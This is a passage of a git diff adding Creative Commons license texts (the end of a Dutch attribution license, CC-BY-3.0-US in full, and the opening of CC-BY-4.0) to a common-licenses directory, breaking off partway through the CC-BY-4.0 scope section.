+ f. 'Gebruiker' de natuurlijke persoon of rechtspersoon die rechten ingevolge deze Licentie uitoefent en die de voorwaarden van deze Licentie met betrekking tot het Werk niet eerder geschonden heeft, of die van de Licentiegever uitdrukkelijke toestemming gekregen heeft om rechten ingevolge deze Licentie uit te oefenen ondanks een eerdere schending.
+
+2. Beperkingen van de uitsluitende rechten. Niets in deze Licentie strekt ertoe om de rechten te beperken die voortvloeien uit de beperkingen en uitputting van de uitsluitende rechten van de rechthebbende krachtens het auteursrecht, de naburige rechten, het databankenrecht of enige andere toepasselijke rechten.
+
+3. Licentieverlening. Met inachtneming van de voorwaarden van deze Licentie verleent de Licentiegever hierbij aan de Gebruiker een wereldwijde, niet-exclusieve licentie om de navolgende rechten met betrekking tot het Werk vrij van royalty's uit te oefenen voor de duur van de toepasselijke intellectuele eigendomsrechten:
+
+ a. het reproduceren van het Werk, het opnemen van het Werk in een of meerdere Verzamelwerken, en het reproduceren van het in de Verzamelwerken opgenomen Werk;
+
+ b. het maken en reproduceren van Afgeleide werken met dien verstande dat met betrekking tot het Afgeleide werk, met inbegrip van welke vertaling in welk medium dan ook, duidelijk wordt gemaakt dat er wijzigingen in het oorspronkelijke Werk zijn aangebracht. Bijvoorbeeld, aan een vertaling kan worden toegevoegd dat 'het oorspronkelijke Werk is van het Engels in het Spaans vertaald', of in geval van een verandering kan worden aangegeven dat 'het oorspronkelijke werk is veranderd';
+
+ c. het verspreiden van exemplaren van het Werk, het in het openbaar tonen, op- en uitvoeren en het on-line beschikbaar stellen van het Werk, afzonderlijk en als deel van een Verzamelwerk;
+
+ d. het verspreiden van exemplaren van Afgeleide werken, het in het openbaar te tonen, op- en uitvoeren en het on-line beschikbaar stellen van Afgeleide werken;
+
+ e. het opvragen en hergebruiken van het Werk;
+
+ f. Volledigheidshalve dient te worden vermeld dat:
+
+ i. Niet voor afstand vatbare heffingsregelingen. in het geval van niet voor afstand vatbare heffingsregelingen (bijvoorbeeld met betrekking tot thuiskopieën) de Licentiegever zich het recht voorbehoudt om dergelijke heffingen te innen (al dan niet door middel van een auteursrechtenorganisatie) bij zowel commercieel als niet-commercieel gebruik van het Werk;
+
+ ii. Voor afstand vatbare heffingsregeling. in het geval van voor afstand vatbare heffingsregelingen (bijvoorbeeld met betrekking tot leenrechten) de Licentiegever afstand doet van het recht om dergelijke heffingen te innen bij zowel commercieel als niet-commercieel gebruik van het Werk;
+
+ iii. Collectief rechtenbeheer. de Licentiegever afstand doet van het recht om vergoedingen te innen (zelfstandig of, indien de Licentiegever lid is van een auteursrechtenorganisatie, door middel van die organisatie) bij zowel commercieel als niet-commercieel gebruik van het Werk.
+
+De Gebruiker mag deze rechten uitoefenen met behulp van alle thans bekende media, dragers en formats. De Gebruiker is tevens gerechtigd om technische wijzigingen aan te brengen die noodzakelijk zijn om de rechten met behulp van andere media, dragers en formats uit te oefenen. Alle niet uitdrukkelijk verleende rechten zijn hierbij voorbehouden aan de Licentiegever, met inbegrip van maar niet beperkt tot de rechten die in artikel 4(d) worden genoemd. Voor zover de Licentiegever op basis van het nationale recht ter implementatie van de Europese Databankenrichtlijn over uitsluitende rechten beschickt doet de Licentiegever afstand van deze rechten.
+
+4. Beperkingen. De in artikel 3 verleende Licentie is uitdrukkelijk gebonden aan de volgende beperkingen:
+
+ a. De Gebruiker mag het Werk uitsluitend verspreiden, in het openbaar tonen, op- of uitvoeren of on-line beschikbaar stellen met inachtneming van de voorwaarden van deze Licentie, en de Gebruiker dient een exemplaar van, of de Uniform Resource Identifier voor, deze Licentie toe te voegen aan elk exemplaar van het Werk dat de Gebruiker verspreidt, in het openbaar toont, op- of uitvoert, of on-line beschikbaar stelt. Het is de Gebruiker niet toegestaan om het Werk onder enige afwijkende voorwaarden aan te bieden waardoor de voorwaarden van deze Licentie dan wel de mogelijkheid van de ontvangers van het Werk om de rechten krachtens deze Licentie uit te oefenen worden beperkt. Het is de Gebruiker niet toegestaan om het Werk in sublicentie te geven. De Gebruiker dient alle vermeldingen die verwijzen naar deze Licentie dan wel naar de uitsluiting van garantie te laten staan. Het is de Gebruiker niet toegestaan om het Werk te verspreiden, in het openbaar te tonen, op- of uit te voeren of on-line beschikbaar te stellen met toepassing van technologische voorzieningen waardoor de voorwaarden van deze Licentie dan wel de mogelijkheid van de ontvangers van het Werk om de rechten krachtens deze Licentie uit te oefenen worden beperkt. Het voorgaande is tevens van toepassing op het Werk dat deel uitmaakt van een Verzamelwerk, maar dat houdt niet in dat het Verzamelwerk, afgezien van het Werk zelf, gebonden is aan de voorwaarden van deze Licentie. Indien de Gebruiker een Verzamelwerk maakt, dient deze, op verzoek van welke Licentiegever ook, de op grond van artikel 4(b) vereiste naamsvermelding uit het Verzamelwerk te verwijderen, voor zover praktisch mogelijk, conform het verzoek. Indien de Gebruiker een Afgeleid werk maakt, dient hij, op verzoek van welke Licentiegever ook, de op grond van artikel 4(b) vereiste naamsvermelding uit het Afgeleide werk te verwijderen, voorzover praktisch mogelijk, conform het verzoek.
+
+ b. Indien de Gebruiker het Werk, Afgeleide Werken of Verzamelwerken verspreidt, in het openbaar toont, op- of uitvoert of on-line beschikbaar stelt, dient de Gebruiker, tenzij er sprake is van een verzoek als vermeld in lid 4(a), alle auteursrechtvermeldingen met betrekking tot het Werk te laten staan. Tevens dient de Gebruiker, op een wijze die redelijk is in verhouding tot het gebruikte medium, de naam te vermelden van (i) de Maker (of zijn/haar pseudoniem indien van toepassing) indien deze wordt vermeld; en/of (ii) van (een) andere partij(en) (b.v. sponsor, uitgeverij, tijdschrift) indien de naamsvermelding van deze partij(en) ("Naamsvermeldingsgerechtigden") in de auteursrechtvermelding of algemene voorwaarden van de Licentiegever of op een andere redelijke wijze verplicht is gesteld door de Maker en/of de Licentiegever; de titel van het Werk indien deze wordt vermeld; voorzover redelijkerwijs toepasbaar de Uniform Resource Identifier, indien aanwezig, waarvan de Licentiegever heeft aangegeven dat deze bij het Werk hoort, tenzij de URI niet verwijst naar de auteursrechtvermeldingen of de licentie-informatie betreffende het Werk; in overeenstemming met artikel 3(b) in geval van een Afgeleid werk, door te verwijzen naar het gebruik van het Werk in het Afgeleide werk (bijvoorbeeld: 'De Franse vertaling van het Werk van de Maker' of 'Scenario gebaseerd op het Werk van de Maker'). De Gebruiker dient op redelijke wijze aan de in dit artikel genoemde vereisten te voldoen; echter, met dien verstande dat, in geval van een Afgeleid werk of een Verzamelwerk, de naamsvermeldingen in ieder geval geplaatst dienen te worden, indien er een naamsvermelding van alle makers van het Afgeleide werk of het Verzamelwerk geplaatst wordt dan als deel van die naamsvermeldingen, en op een wijze die in ieder geval even duidelijk is als de naamsvermeldingen van de overige makers.
+
+ Volledigheidshalve dient te worden vermeld dat de Gebruiker uitsluitend gebruik mag maken van de naamsvermelding op de in dit artikel omschreven wijze teneinde te voldoen aan de naamsvermeldingsverplichting en, door gebruikmaking van zijn rechten krachtens deze Licentie, is het de Gebruiker niet toegestaan om op enigerlei wijze de indruk te wekken dat er sprake is van enig verband met, sponsorschap van of goedkeuring van de (toepasselijke) Maker, Licentiegever c.q. Naamsvermeldingsgerechtigden van de Gebruiker of diens gebruik van het Werk, zonder de afzonderlijke, uitdrukkelijke, voorafgaande, schriftelijke toestemming van de Maker, Licentiegever c.q. Naamsvermeldingsgerechtigden.
+
+ c. Volledigheidshalve dient te worden vermeld, dat de hierboven vermelde beperkingen (lid 4(a) en lid 4(b)) niet van toepassing zijn op die onderdelen van het Werk die geacht worden te vallen onder de definitie van het 'Werk' zoals vermeld in deze Licentie uitsluitend omdat zij voldoen aan de criteria van het sui generis databankenrecht krachtens het nationale recht ter implementatie van de Europese Databankenrichtlijn.
+
+ d. De in artikel 3 verleende rechten moeten worden uitgeoefend met inachtneming van het morele recht van de Maker (en/of de uitvoerende kunstenaar) om zich te verzetten tegen elke misvorming, verminking of andere aantasting van het werk, welke nadeel zou kunnen toebrengen aan de eer of de naam van de Maker (en/of de uitvoerende kunstenaar) of aan zijn waarde in deze hoedanigheid, indien en voor zover de Maker (en/of de uitvoerende kunstenaar) op grond van een op hem van toepassing zijnde wettelijke bepaling geen afstand kan doen van dat morele recht.
+
+5. Garantie en vrijwaring.
+
+TENZIJ ANDERS SCHRIFTELIJK IS OVEREENGEKOMEN DOOR DE PARTIJEN, STELT DE LICENTIEGEVER HET WERK BESCHIKBAAR OP 'AS-IS' BASIS, ZONDER ENIGE GARANTIE, HETZIJ DIRECT, INDIRECT OF ANDERSZINS, MET BETREKKING TOT HET WERK, MET INBEGRIP VAN, MAAR NIET BEPERKT TOT GARANTIES MET BETREKKING TOT DE EIGENDOMSTITEL, DE VERKOOPBAARHEID, DE GESCHIKTHEID VOOR BEPAALDE DOELEINDEN, MOGELIJKE INBREUK, DE AFWEZIGHEID VAN LATENTE OF ANDERE TEKORTKOMINGEN, DE JUISTHEID OF DE AAN- OF AFWEZIGHEID VAN FOUTEN, ONGEACHT DE OPSPOORBAARHEID DAARVAN, INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+6. Beperking van de aansprakelijkheid.
+
+DE LICENTIEGEVER AANVAARDT GEEN ENKELE AANSPRAKELIJKHEID JEGENS DE GEBRUIKER VOOR ENIGE BIJZONDERE OF INCIDENTELE SCHADE OF GEVOLGSCHADE VOORTVLOEIEND UIT DEZE LICENTIE OF HET GEBRUIK VAN HET WERK, ZELFS NIET INDIEN DE LICENTIEGEVER OP DE HOOGTE IS GESTELD VAN HET RISICO VAN DERGELIJKE SCHADE, INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+7. Beëindiging
+
+ a. Deze Licentie en de daarin verleende rechten vervallen automatisch op het moment dat de Gebruiker in strijd handelt met de voorwaarden van deze Licentie. De licenties van natuurlijke personen of rechtspersonen die Verzamelwerken hebben ontvangen van de Gebruiker krachtens deze Licentie blijven echter in stand zolang dergelijke natuurlijke personen of rechtspersonen zich houden aan de voorwaarden van die licenties. Na de beëindiging van deze Licentie blijven artikelen 1, 2, 5, 6, 7 en 8 onverminderd van kracht.
+
+ b. Met inachtneming van de hierboven vermelde voorwaarden wordt de Licentie verleend voor de duur van de toepasselijke intellectuele eigendomsrechten op het Werk. De Licentiegever behoudt zich desalniettemin te allen tijde het recht voor om het Werk volgens gewijzigde licentievoorwaarden te verspreiden of om het Werk niet langer te verspreiden; met dien verstande dat een dergelijk besluit niet de intrekking van deze Licentie (of enig andere licentie die volgens de voorwaarden van deze Licentie (verplicht) is verleend) tot gevolg heeft, en deze Licentie onverminderd van kracht blijft tenzij zij op de in lid a omschreven wijze wordt beëindigd.
+
+8. Diversen
+
+ a. Elke keer dat de Gebruiker het Werk of een Verzamelwerk verspreidt of on-line beschikbaar stelt, biedt de Licentiegever de ontvanger een licentie op het Werk aan volgens de algemene voorwaarden van deze Licentie.
+
+ b. Elke keer dat de Gebruiker een Afgeleid werk verspreidt of on-line beschikbaar stelt, biedt de Licentiegever de ontvanger een licentie op het oorspronkelijke werk aan volgens de algemene voorwaarden van deze Licentie.
+
+ c. Indien enige bepaling van deze Licentie nietig of niet rechtens afdwingbaar is, zullen de overige voorwaarden van deze Licentie volledig van kracht blijven. De nietige of niet-afdwingbare bepaling zal, zonder tussenkomst van de partijen, worden vervangen door een geldige en afdwingbare bepaling waarbij het doel en de strekking van de oorspronkelijke bepaling zoveel mogelijk in acht worden genomen.
+
+ d. Een verklaring van afstand van in deze Licentie verleende rechten of een wijziging van de voorwaarden van deze Licentie dient schriftelijk te geschieden en getekend te zijn door de partij die verantwoordelijk is voor de verklaring van afstand respectievelijk de partij wiens toestemming voor de wijziging is vereist.
+
+ f. Deze Licentie bevat de volledige overeenkomst tussen de partijen met betrekking tot het in licentie gegeven Werk. Er zijn geen andere afspraken gemaakt met betrekking tot het Werk. De Licentiegever is niet gebonden aan enige aanvullende bepalingen die worden vermeld in mededelingen van de Gebruiker. Deze licentie kan uitsluitend worden gewijzigd met de wederzijdse, schriftelijke instemming van de Licentiegever en de Gebruiker.
+
+Aansprakelijkheid en merkrechten van Creative Commons
+
+Creative Commons is geen partij bij deze Licentie en stelt geen enkele garantie met betrekking tot het Werk. Creative Commons kan op geen enkele wijze aansprakelijk worden gehouden jegens de Gebruiker of derden voor enigerlei schade met inbegrip van, maar niet beperkt tot enige algemene, bijzondere, incidentele of gevolgschade voortvloeiend uit deze Licentie. Onverminderd het bepaalde in de twee (2) voorgaande volzinnen is Creative Commons gebonden aan alle rechten en verplichtingen van de Licentiegever indien Creative Commons zichzelf uitdrukkelijk kenbaar gemaakt heeft als de Licentiegever krachtens deze Licentie.
+
+Met uitzondering van het beperkte doel om iedereen erop te wijzen dat het Werk in licentie is gegeven krachtens de CCPL, geeft Creative Commons aan geen van de partijen toestemming om gebruik te maken van de merknaam 'Creative Commons', enige daarmee verband houdende merknamen dan wel het logo van Creative Commons gebruiken zonder de voorafgaande schriftelijke toestemming van Creative Commons. Het geoorloofde gebruik dient in overeenstemming te zijn met de alsdan geldende richtlijnen betreffende het gebruik van merknamen van Creative Commons zoals die bekend worden gemaakt op de website of anderszins van tijd tot tijd, desgevraagd, ter beschikking worden gesteld. Volledigheidshalve dient te worden vermeld dat deze merkrechtelijke beperking geen deel uitmaakt van de Licentie.
+
+U kunt contact opnemen met Creative Commons via de website: https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-US b/meta/files/common-licenses/CC-BY-3.0-US
new file mode 100644
index 0000000000..c35a2b1a11
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-US
@@ -0,0 +1,83 @@
+Creative Commons Attribution 3.0 United States
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+1. Definitions
+
+ a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with one or more other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License.
+
+ b. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offers the Work under the terms of this License.
+
+ d. "Original Author" means the individual, individuals, entity or entities who created the Work.
+
+ e. "Work" means the copyrightable work of authorship offered under the terms of this License.
+
+ f. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
+
+2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
+
+ b. to create and reproduce Derivative Works provided that any such Derivative Work, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";;
+
+ c. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
+
+ d. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works.
+
+ e. For the avoidance of doubt, where the Work is a musical composition:
+
+ i. Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or, in the event that Licensor is a member of a performance rights society (e.g. ASCAP, BMI, SESAC), via that society, royalties for the public performance or public digital performance (e.g. webcast) of the Work.
+
+ ii. Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+ f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved.
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of a recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. When You distribute, publicly display, publicly perform, or publicly digitally perform the Work, You may not impose any technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by Section 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by Section 4(b), as requested.
+
+ b. If You distribute, publicly display, publicly perform, or publicly digitally perform the Work (as defined in Section 1 above) or any Derivative Works (as defined in Section 1 above) or Collective Works (as defined in Section 1 above), You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and, consistent with Section 3(b) in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4(b) may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear, if a credit for all contributing authors of the Derivative Work or Collective Work appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
+
+5. Representations, Warranties and Disclaimer
+
+UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND ONLY TO THE EXTENT OF ANY RIGHTS HELD IN THE LICENSED WORK BY THE LICENSOR. THE LICENSOR MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MARKETABILITY, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
+
+6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works (as defined in Section 1 above) or Collective Works (as defined in Section 1 above) from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
+
+ b. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous
+
+ a. Each time You distribute or publicly digitally perform the Work (as defined in Section 1 above) or a Collective Work (as defined in Section 1 above), the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b. Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+
+ c. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ e. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of the License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-4.0 b/meta/files/common-licenses/CC-BY-4.0
new file mode 100644
index 0000000000..13ca539f37
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-4.0
@@ -0,0 +1,156 @@
+Creative Commons Attribution 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ h. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce, reproduce, and Share Adapted Material.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+b. Other rights.
+
